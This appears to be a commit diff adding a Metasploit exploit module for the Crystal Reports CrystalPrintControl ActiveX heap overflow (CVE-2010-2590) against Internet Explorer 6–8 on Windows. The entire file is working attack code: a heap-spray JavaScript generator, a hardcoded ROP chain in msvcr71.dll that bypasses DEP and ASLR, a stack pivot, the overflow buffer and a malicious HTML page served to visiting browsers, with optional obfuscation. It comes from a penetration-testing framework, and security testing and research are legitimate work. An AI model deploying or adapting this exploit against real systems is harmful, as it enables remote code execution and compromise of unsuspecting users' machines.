1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = NormalRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::RopDb
15
+ include Msf ::Exploit ::Remote ::BrowserAutopwn
16
+
17
+ autopwn_info ( {
18
+ :ua_name => HttpClients ::IE ,
19
+ :ua_minver => "6.0" ,
20
+ :ua_maxver => "8.0" ,
21
+ :javascript => true ,
22
+ :os_name => OperatingSystems ::WINDOWS ,
23
+ :rank => NormalRanking ,
24
+ :classid => "{88DD90B6-C770-4CFF-B7A4-3AFD16BB8824}" ,
25
+ :method => "ServerResourceVersion"
26
+ } )
27
+
28
+
29
+ def initialize ( info = { } )
30
+ super ( update_info ( info ,
31
+ 'Name' => "Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow" ,
32
+ 'Description' => %q{
33
+ This module exploits a heap based buffer overflow in the CrystalPrintControl
34
+ ActiveX, while handling the ServerResourceVersion property. The affected control
35
+ can be found in the PrintControl.dll component as included with Crystal Reports
36
+ 2008. This module has been tested successfully on IE 6, 7 and 8 on Windows XP SP3
37
+ and IE 8 on Windows 7 SP1. The module uses the msvcr71.dll library, loaded by the
38
+ affected ActiveX control, to bypass DEP and ASLR.
39
+ } ,
40
+ 'License' => MSF_LICENSE ,
41
+ 'Author' =>
42
+ [
43
+ 'Dmitriy Pletnev' , # Vulnerability discovery
44
+ 'Dr_IDE' , # PoC
45
+ 'juan vazquez' # Metasploit
46
+ ] ,
47
+ 'References' =>
48
+ [
49
+ [ 'CVE' , '2010-2590' ] ,
50
+ [ 'OSVDB' , '69917' ] ,
51
+ [ 'BID' , '45387' ] ,
52
+ [ 'EDB' , '15733' ]
53
+ ] ,
54
+ 'Payload' =>
55
+ {
56
+ 'Space' => 890 ,
57
+ 'BadChars' => "\x00 " ,
58
+ 'DisableNops' => true ,
59
+ 'PrependEncoder' => "\x81 \xc4 \xa4 \xf3 \xfe \xff " # Stack adjustment # add esp, -500
60
+ } ,
61
+ 'DefaultOptions' =>
62
+ {
63
+ 'InitialAutoRunScript' => 'migrate -f'
64
+ } ,
65
+ 'Platform' => 'win' ,
66
+ 'Targets' =>
67
+ [
68
+ # Using jre rop because msvcr71.dll is installed with the ActiveX control
69
+ # Crystal Reports 2008 / PrintControl.dll 12.0.0.683
70
+ [ 'Automatic' , { } ] ,
71
+ [ 'IE 6 on Windows XP SP3' ,
72
+ {
73
+ 'Rop' => nil ,
74
+ 'Offset' => '0x5F4' ,
75
+ 'Ret' => 0x0c0c0c08
76
+ }
77
+ ] ,
78
+ [ 'IE 7 on Windows XP SP3' ,
79
+ {
80
+ 'Rop' => nil ,
81
+ 'Offset' => '0x5F4' ,
82
+ 'Ret' => 0x0c0c0c08
83
+ }
84
+ ] ,
85
+ [ 'IE 8 on Windows XP SP3' ,
86
+ {
87
+ 'Rop' => :jre ,
88
+ 'Offset' => '0x5f4' ,
89
+ 'Ret' => 0x0c0c0c0c ,
90
+ 'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
91
+ }
92
+ ] ,
93
+ [ 'IE 8 on Windows 7' ,
94
+ {
95
+ 'Rop' => :jre ,
96
+ 'Offset' => '0x5f4' ,
97
+ 'Ret' => 0x0c0c0c0c ,
98
+ 'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
99
+ }
100
+ ]
101
+ ] ,
102
+ 'Privileged' => false ,
103
+ 'DisclosureDate' => "Dec 14 2010" ,
104
+ 'DefaultTarget' => 0 ) )
105
+
106
+ register_options (
107
+ [
108
+ OptBool . new ( 'OBFUSCATE' , [ false , 'Enable JavaScript obfuscation' , false ] )
109
+ ] , self . class )
110
+
111
+ end
112
+
113
+ def get_target ( agent )
114
+ #If the user is already specified by the user, we'll just use that
115
+ return target if target . name != 'Automatic'
116
+
117
+ nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
118
+ ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
119
+
120
+ ie_name = "IE #{ ie } "
121
+
122
+ case nt
123
+ when '5.1'
124
+ os_name = 'Windows XP SP3'
125
+ when '6.0'
126
+ os_name = 'Windows Vista'
127
+ when '6.1'
128
+ os_name = 'Windows 7'
129
+ end
130
+
131
+ targets . each do |t |
132
+ if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
133
+ print_status ( "Target selected as: #{ t . name } " )
134
+ return t
135
+ end
136
+ end
137
+
138
+ return nil
139
+ end
140
+
141
+ def ie_heap_spray ( my_target , p )
142
+ js_code = Rex ::Text . to_unescape ( p , Rex ::Arch . endian ( target . arch ) )
143
+ js_nops = Rex ::Text . to_unescape ( "\x0c " *4 , Rex ::Arch . endian ( target . arch ) )
144
+
145
+ # Land the payload at 0x0c0c0c0c
146
+ # For IE 6, 7, 8
147
+ js = %Q|
148
+ var heap_obj = new heapLib.ie(0x20000);
149
+ var code = unescape("#{ js_code } ");
150
+ var nops = unescape("#{ js_nops } ");
151
+ while (nops.length < 0x80000) nops += nops;
152
+ var offset = nops.substring(0, #{ my_target [ 'Offset' ] } );
153
+ var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
154
+ while (shellcode.length < 0x40000) shellcode += shellcode;
155
+ var block = shellcode.substring(0, (0x80000-6)/2);
156
+ heap_obj.gc();
157
+ for (var i=1; i < 0x300; i++) {
158
+ heap_obj.alloc(block);
159
+ }
160
+ var overflow = nops.substring(0, 10);
161
+ |
162
+
163
+ js = heaplib ( js , { :noobfu => true } )
164
+
165
+ if datastore [ 'OBFUSCATE' ]
166
+ js = ::Rex ::Exploitation ::JSObfu . new ( js )
167
+ js . obfuscate
168
+ end
169
+
170
+ return js
171
+ end
172
+
173
+ def get_payload ( t , cli )
174
+ code = payload . encoded
175
+
176
+ # No rop. Just return the payload.
177
+ return code if t [ 'Rop' ] . nil?
178
+
179
+ # Both ROP chains generated by mona.py - See corelan.be
180
+ print_status ( "Using JRE ROP" )
181
+ rop_payload = generate_rop_payload ( 'java' , code , { 'pivot' => [ t [ 'Pivot' ] ] . pack ( "V" ) } )
182
+
183
+ return rop_payload
184
+ end
185
+
186
+ def load_exploit_html ( my_target , cli )
187
+ p = get_payload ( my_target , cli )
188
+ js = ie_heap_spray ( my_target , p )
189
+
190
+ # This rop chain can't contain NULL bytes, because of this RopDB isn't used
191
+ # rop chain generated with mona.py
192
+ rop_gadgets =
193
+ [
194
+ 0x7c37653d , # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
195
+ 0xfffffdff , # Value to negate, will become 0x00000201 (dwSize)
196
+ 0x7c347f98 , # RETN (ROP NOP) [msvcr71.dll]
197
+ 0x7c3415a2 , # JMP [EAX] [msvcr71.dll]
198
+ 0xffffffff , #
199
+ 0x7c376402 , # skip 4 bytes [msvcr71.dll]
200
+ 0x7c351e05 , # NEG EAX # RETN [msvcr71.dll]
201
+ 0x7c345255 , # INC EBX # FPATAN # RETN [msvcr71.dll]
202
+ 0x7c352174 , # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
203
+ 0x7c344f87 , # POP EDX # RETN [msvcr71.dll]
204
+ 0xffffffc0 , # Value to negate, will become 0x00000040
205
+ 0x7c351eb1 , # NEG EDX # RETN [msvcr71.dll]
206
+ 0x7c34d201 , # POP ECX # RETN [msvcr71.dll]
207
+ 0x7c38b001 , # &Writable location [msvcr71.dll]
208
+ 0x7c347f97 , # POP EAX # RETN [msvcr71.dll]
209
+ 0x7c37a151 , # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
210
+ 0x7c378c81 , # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
211
+ 0x7c345c30 , # ptr to 'push esp # ret ' [msvcr71.dll]
212
+ ] . pack ( "V*" )
213
+
214
+ # Allow to easily stackpivot to the payload
215
+ # stored on the sprayed heap
216
+ stackpivot_to_spray = %Q|
217
+ mov esp, 0x0c0c0c10
218
+ ret
219
+ |
220
+
221
+ # Space => 0x940 bytes
222
+ # 0x40c: Fill the current CrystalPrintControl object
223
+ # 0x8: Overflow next heap chunk header
224
+ # 0x52c: Overflow next CrystalPrintControl object until the ServerResourceVersion offset
225
+ bof = rand_text_alpha ( 1036 )
226
+ bof << [ 0x01010101 ] . pack ( "V" ) # next heap chunk header
227
+ bof << [ 0x01010101 ] . pack ( "V" ) # next heap chunk header
228
+ bof << [ my_target . ret ] . pack ( "V" )
229
+ bof << [ 0x7c3410c4 ] . pack ( "V" ) # ret # msvcr71
230
+ bof << [ 0x7c3410c4 ] . pack ( "V" ) # ret # msvcr71
231
+ bof << [ 0x7c3410c4 ] . pack ( "V" ) # ret # msvcr71
232
+ bof << [ 0x7c3410c4 ] . pack ( "V" ) # ret # msvcr71
233
+ bof << [ 0x7c3410c4 ] . pack ( "V" ) # ret # msvcr71
234
+ bof << [ 0x7c3410c4 ] . pack ( "V" ) # ret # msvcr71
235
+ bof << [ 0x7c3410c4 ] . pack ( "V" ) # ret # msvcr71
236
+ bof << [ 0x7c3410c4 ] . pack ( "V" ) # ret # msvcr71 # eip for w7 sp0 / ie8
237
+ bof << rop_gadgets
238
+ bof << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , stackpivot_to_spray ) . encode_string
239
+ bof << rand_text_alpha ( 0x940 - bof . length )
240
+
241
+ js_bof = Rex ::Text . to_unescape ( bof , Rex ::Arch . endian ( my_target . arch ) )
242
+
243
+ target = rand_text_alpha ( 5 + rand ( 3 ) )
244
+ target2 = rand_text_alpha ( 5 + rand ( 3 ) )
245
+ target3 = rand_text_alpha ( 5 + rand ( 3 ) )
246
+ target4 = rand_text_alpha ( 5 + rand ( 3 ) )
247
+ target5 = rand_text_alpha ( 5 + rand ( 3 ) )
248
+ target6 = rand_text_alpha ( 5 + rand ( 3 ) )
249
+ target7 = rand_text_alpha ( 5 + rand ( 3 ) )
250
+ target8 = rand_text_alpha ( 5 + rand ( 3 ) )
251
+ target9 = rand_text_alpha ( 5 + rand ( 3 ) )
252
+ target10 = rand_text_alpha ( 5 + rand ( 3 ) )
253
+ target11 = rand_text_alpha ( 5 + rand ( 3 ) )
254
+ target12 = rand_text_alpha ( 5 + rand ( 3 ) )
255
+ target13 = rand_text_alpha ( 5 + rand ( 3 ) )
256
+ target14 = rand_text_alpha ( 5 + rand ( 3 ) )
257
+ target15 = rand_text_alpha ( 5 + rand ( 3 ) )
258
+
259
+ # - 15 CrystalPrintControl objects are used to defragement the heap.
260
+ # - The 10th CrystalPrintControl is overflowed.
261
+ # - After the overflow, trying to access the overflowed object, control
262
+ # can be obtained.
263
+ html = %Q|
264
+ <html>
265
+ <head>
266
+ <script>
267
+ #{ js }
268
+ </script>
269
+ </head>
270
+ <body>
271
+ <object id='#{ target } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
272
+ <object id='#{ target2 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
273
+ <object id='#{ target3 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
274
+ <object id='#{ target4 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
275
+ <object id='#{ target5 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
276
+ <object id='#{ target6 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
277
+ <object id='#{ target7 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
278
+ <object id='#{ target8 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
279
+ <object id='#{ target9 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
280
+ <object id='#{ target10 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
281
+ <object id='#{ target11 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
282
+ <object id='#{ target12 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
283
+ <object id='#{ target13 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
284
+ <object id='#{ target14 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
285
+ <object id='#{ target15 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
286
+ <script>
287
+ var ret = unescape('#{ js_bof } ');
288
+ #{ target9 } .ServerResourceVersion = ret;
289
+ var c = #{ target10 } .BinName.length;
290
+ </script>
291
+ </body>
292
+ </html>
293
+ |
294
+
295
+ return html
296
+ end
297
+
298
+ def on_request_uri ( cli , request )
299
+ agent = request . headers [ 'User-Agent' ]
300
+ uri = request . uri
301
+ print_status ( "Requesting: #{ uri } " )
302
+
303
+ my_target = get_target ( agent )
304
+ # Avoid the attack if no suitable target found
305
+ if my_target . nil?
306
+ print_error ( "Browser not supported, sending 404: #{ agent } " )
307
+ send_not_found ( cli )
308
+ return
309
+ end
310
+
311
+ html = load_exploit_html ( my_target , cli )
312
+ html = html . gsub ( /^\t \t / , '' )
313
+ print_status ( "Sending HTML..." )
314
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
315
+ end
316
+
317
+ end
0 commit comments